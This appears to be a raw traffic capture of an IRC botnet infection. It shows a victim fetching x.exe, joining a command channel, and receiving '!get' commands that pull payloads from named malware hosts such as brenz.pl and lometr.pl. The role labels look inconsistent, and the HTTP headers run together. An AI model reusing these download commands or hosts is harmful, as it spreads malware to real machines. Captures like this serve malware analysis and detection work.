VICTIM:  	GET /x.exe HTTP/1.0User-Agent: Mozilla/4.0Host: 196.20.165.123:1506 
VICTIM:  	NICK ricrsscdUSER d020501 . . :- 
VICTIM:  	JOIN &virtu 
ATTACKER:	:u. PRIVMSG ricrsscd :!get http:/brenz.pl/ex/a.php 
ATTACKER:	GET /ex/a.php HTTP/1.0User-Agent: DownloadHost: brenz.plPragma: no-cache 
ATTACKER:	GET /mega/lgate.php?n=94AEEEDFFCB64848 HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: lometr.plConnection: Keep-Alive 
ATTACKER:	GET /stx9/fout.php HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: brenz.plConnection: Keep-Alive 
ATTACKER:	GET /dll/mr.txt HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: brenz.plConnection: Keep-Alive 
ATTACKER:	PING :l. 
ATTACKER:	PONG :l. 
VICTIM:  	JOIN &virtu 
ATTACKER:	NICK tpiyrtkgUSER j020501 . . :- 
VICTIM:  	JOIN &virtu 
ATTACKER:	:u. PRIVMSG tpiyrtkg :!get http:/click.winrar2009.cn:88/files/adx.gif:u. PRIVMSG tpiyrtkg :!get http:/brenz.pl/ex/a.php 
ATTACKER:	GET /ex/a.php HTTP/1.0User-Agent: DownloadHost: brenz.plPragma: no-cache 
ATTACKER:	GET /mega/lgate.php?n=94AEEEDFFCB64848 HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: lometr.plConnection: Keep-Alive 
ATTACKER:	GET /dll/mr.txt HTTP/1.0Accept: */*If-Modified-Since: Thu, 18 Jun 2009 13:58:01 GMTUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: brenz.plConnection: Keep-Alive 
ATTACKER:	PING :m. 
ATTACKER:	PONG :m. 
VICTIM:  	JOIN &virtu 
ATTACKER:	PING :m. 
ATTACKER:	PONG :m. 
VICTIM:  	JOIN &virtu